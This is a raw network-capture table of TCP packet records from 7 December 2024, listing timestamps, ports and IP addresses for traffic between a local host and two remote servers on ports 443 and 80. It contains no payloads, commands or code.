Dec 7, 2024 18:26:42.509310961 CET	49790	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.509346962 CET	443	49790	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.509413004 CET	49790	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.509521961 CET	49790	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.509535074 CET	443	49790	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.510010958 CET	49791	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.510046005 CET	443	49791	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:42.510107040 CET	49791	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.510204077 CET	49791	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:42.510222912 CET	443	49791	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:43.496208906 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:43.496361971 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:43.818625927 CET	443	49787	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:43.855770111 CET	49787	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:43.855797052 CET	443	49787	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:43.856060982 CET	443	49788	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:43.856254101 CET	49787	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:43.856259108 CET	443	49787	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:43.857208014 CET	49788	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:43.857225895 CET	443	49788	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:43.857637882 CET	49788	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:43.857644081 CET	443	49788	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:43.891954899 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.011614084 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.231376886 CET	443	49791	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.231405973 CET	443	49790	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.231909037 CET	49791	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.231930017 CET	443	49791	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.231961012 CET	49790	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.231982946 CET	443	49790	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.232068062 CET	443	49789	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.232407093 CET	49791	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.232410908 CET	443	49791	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.232584000 CET	49790	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.232589006 CET	443	49790	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.232670069 CET	49789	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.232680082 CET	443	49789	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.233048916 CET	49789	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.233052015 CET	443	49789	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.254286051 CET	443	49787	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.254355907 CET	443	49787	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.254443884 CET	49787	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.254618883 CET	49787	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.254645109 CET	443	49787	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.254657984 CET	49787	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.254664898 CET	443	49787	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.257529974 CET	49792	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.257577896 CET	443	49792	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.257658005 CET	49792	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.257786036 CET	49792	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.257802010 CET	443	49792	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.289973021 CET	443	49788	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.290040970 CET	443	49788	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.290113926 CET	49788	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.290260077 CET	49788	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.290273905 CET	443	49788	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.290282965 CET	49788	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.290290117 CET	443	49788	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.293127060 CET	49793	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.293162107 CET	443	49793	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.293241024 CET	49793	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.293384075 CET	49793	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.293396950 CET	443	49793	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.331494093 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.331582069 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.331697941 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.331712008 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.331743956 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.331758022 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.332216024 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.332227945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.332251072 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.332267046 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.332487106 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.332498074 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.332509041 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.332520962 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.332537889 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.332566977 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.340043068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.340111971 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.340153933 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.340197086 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.451379061 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.451493025 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.451535940 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.451577902 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.523859024 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.523911953 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.524003983 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.524041891 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.527925014 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.527971983 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.528023005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.528062105 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.536118984 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.536201000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.536222935 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.536264896 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.544445992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.544498920 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.544564009 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.544812918 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.552443027 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.552499056 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.552624941 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.552670002 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.560669899 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.560746908 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.560775995 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.560822010 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.568824053 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.568871021 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.568911076 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.568950891 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.577029943 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.577142954 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.577168941 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.577183008 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.585246086 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.585303068 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.585335016 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.585380077 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.593389988 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.593442917 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.593568087 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.593615055 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.600398064 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.600446939 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.600488901 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.600531101 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.607357025 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.607404947 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.707186937 CET	443	49791	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.707232952 CET	443	49789	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.707252979 CET	443	49791	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.707315922 CET	49791	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.707318068 CET	443	49789	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.707376957 CET	49789	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.707546949 CET	49791	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.707564116 CET	443	49791	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.707575083 CET	49791	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.707575083 CET	49789	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.707587004 CET	443	49791	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.707593918 CET	443	49789	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.707602024 CET	49789	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.707607031 CET	443	49789	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.707730055 CET	443	49790	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.707783937 CET	443	49790	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.707838058 CET	49790	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.708328962 CET	49790	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.708353996 CET	443	49790	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.708363056 CET	49790	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.708368063 CET	443	49790	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.710829973 CET	49794	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.710865974 CET	443	49794	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.710935116 CET	49795	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.710971117 CET	443	49795	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.710999966 CET	49794	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.711018085 CET	49795	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.711054087 CET	49794	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.711062908 CET	443	49794	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.711149931 CET	49795	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.711163044 CET	443	49795	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.711452007 CET	49796	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.711476088 CET	443	49796	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.711539030 CET	49796	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.711668968 CET	49796	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:44.711678982 CET	443	49796	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:44.716017008 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.716078997 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.716156006 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.716198921 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.718497992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.718544006 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.718641996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.718682051 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.723500013 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.723558903 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.723608017 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.723649979 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.728516102 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.728579998 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.728617907 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.728688955 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.733510017 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.733556986 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.733587980 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.733628035 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.738364935 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.738404989 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.738471985 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.738512039 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.743053913 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.743099928 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.743170023 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.743215084 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.747761011 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.747807980 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.747878075 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.747917891 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.752510071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.752556086 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.752648115 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.752687931 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.757266045 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.757313013 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.757409096 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.757453918 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.762254953 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.762312889 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.762351990 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.762391090 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.766808987 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.766855955 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.766881943 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.766922951 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.771563053 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.771615028 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.771687984 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.771747112 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.776551962 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.776563883 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.776602030 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.780988932 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.781045914 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.781115055 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.781155109 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.785880089 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.785934925 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.785939932 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.785979033 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.790530920 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.790577888 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.790684938 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.790745974 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.795334101 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.795381069 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.795469046 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.795506954 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.799999952 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.800048113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.800177097 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.800221920 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.804796934 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.804846048 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.804991961 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.805037975 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.809488058 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.809536934 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.809590101 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.809629917 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.814255953 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.814304113 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.814362049 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.814398050 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.818994045 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.819039106 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.908423901 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.908502102 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.908509970 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.908555984 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.910244942 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.910294056 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.910393000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.910437107 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.914186001 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.914232016 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.914326906 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.914369106 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.918116093 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.918164968 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.918246984 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.918289900 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.921861887 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.921902895 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.921964884 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.922012091 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.925869942 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.925915956 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.925944090 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.925987959 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.929284096 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.929327965 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.929394960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.929436922 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.932957888 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.933022976 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.933043957 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.933084011 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.936314106 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.936367035 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.936410904 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.936449051 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.939691067 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.939744949 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.939807892 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.939851999 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.943172932 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.943226099 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.943264961 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.943308115 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.946492910 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.946540117 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.946643114 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.946685076 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.949693918 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.949719906 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.949744940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.949759960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.953175068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.953223944 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.953304052 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.953351974 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.956209898 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.956255913 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.956298113 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.956338882 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.959681034 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.959732056 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.959737062 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.959774017 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.962810040 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.962857962 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.962912083 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.962954044 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.966259003 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.966310024 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.966321945 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.966358900 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.969378948 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.969424963 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.969486952 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.969527960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.972640991 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.972690105 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.972846985 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.972893000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:44.975990057 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:44.976036072 CET	49786	80	192.168.2.7	185.215.113.206
